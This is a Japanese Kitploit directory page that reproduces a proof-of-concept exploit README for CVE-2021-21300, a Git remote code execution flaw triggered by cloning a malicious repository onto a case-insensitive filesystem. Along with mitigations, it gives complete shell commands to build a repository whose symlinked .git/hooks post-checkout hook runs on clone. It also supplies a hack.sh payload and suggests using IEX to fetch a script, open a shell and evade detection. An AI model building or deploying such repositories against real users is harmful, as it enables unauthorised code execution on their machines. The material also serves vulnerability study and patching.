Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2021-21300 — CVE-2021-21300の概念実証エクスプロイト。大文字小文字を区別しないファイルシステム上でのシンボリックリンクとフィルターの悪用を介した、悪意のあるGitリポジトリのクローンによるリモートコード実行を示します。 | Kitploit
ツール/GitHubGitHub/fengzhouc/cve-2021-21300
特権昇格脆弱性分析エクスプロイト横移動シェルコードポストエクスプロイトコマンド&コントロールリモートアクセスツールペイロード開発
GitHubfengzhouc/cve-2021-21300

CVE-2021-21300

CVE-2021-21300の概念実証エクスプロイト。大文字小文字を区別しないファイルシステム上でのシンボリックリンクとフィルターの悪用を介した、悪意のあるGitリポジトリのクローンによるリモートコード実行を示します。

35年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る

CVE-2021-21300

gitの複数のバージョンにおいて、シンボリックリンクの処理が厳格ではありません。大文字小文字を区別する(例:Linux)ファイルシステムでファイルをgitにアップロードした後、大文字小文字を区別しないファイルシステム(例:Windows)を持つホストが悪意のあるリポジトリをクローンすると、リモートコード実行が発生する可能性があります。

影響を受けるバージョン

2.15 から 現行の 2.30.1

解決策

1、バージョンアップ

2、以下を実施

git の symlink を無効にする: git config --global core.symlinks false

process filter(通常は LFS がこの機能を使用)を無効にする。git config --show-scope --get-regexp 'filter..*.process で確認可能

トリガー条件:

1、リポジトリ内に同名のシンボリックリンクとディレクトリが存在する

2、シンボリックリンクが特別なディレクトリ(現時点では .git/hooks)を指している

3、対象マシンに悪意のあるコマンドを実行するための十分な権限がある

再現

01 環境準備

①リポジトリ準備:

システム:ubuntux64

git、git-lfs をインストールする必要あり

git lfs install コマンドを実行するとエラーが発生する可能性あり

Error: Failed to call git rev-parse --git-dir: exit status 128

無視可

Git LFS initialized. と表示されればインストール完了

②ターゲットマシン:

システム:win10x64

git for windows :Git-2.17.1-64-bit

(https://www.npackd.org/p/git64/2.17.1.2)

git for windows のインストールはすべてデフォルトで可

02 悪意のあるリポジトリの準備

①github にリポジトリを作成:

オンラインのチュートリアルは多数あるため、省略

②ubuntu で悪意のあるリポジトリを構築し、github にアップロード:

以下のコマンドを実行

root@kitploit:~
$ git init
$ echo "A/post-checkout filter=lfs diff=lfs merge=lfs">.gitattributes &&
mkdir A &&
printf '#!/bin/sh\n\necho PWNED >&2\n'>A/post-checkout &&
chmod +x A/post-checkout &&
>A/a &&
>A/b &&
git add -A &&
rm -rf A &&
ln -s .git/hooks a &&
git add a &&
git commit -m initial
$ git branch -M main
$ git remote add origin [自分のリポジトリURL]
$ git push -u origin main

03 攻撃テスト

win10 の powershell(管理者) で以下のコマンドを実行:

git clone -c core.symlinks=true [自分のリポジトリURL]

クローン後に PWNED が表示されれば、リモートコード実行成功

このように、クローン時に post-checkout ファイル内のコマンドが実行される。

アイデアとしては、IEXを使用してスクリプトをダウンロードし、kaliでリッスンしてシェルを取得するが、ほとんどのスクリプトは検出されブロックされるため、バイパス技術で回避できれば実現可能と思われる。

04 拡張利用

ディレクトリにスクリプトファイル hack.sh を追加

内容は以下の通り

root@kitploit:~
#!/bin/sh
#################
echo "script working..." &&
cd / &&
pwd &&
mkdir hack
cd hack &&
touch hacked &&
echo "you has been hacked">hacked &&
echo "done!"

post-checkout で実行するコマンドを変更し、スクリプトを実行する

printf '#!/bin/sh\n\necho PWNED\n\n./hack.sh >&2\n'>A/post-checkout

ツールをダウンロード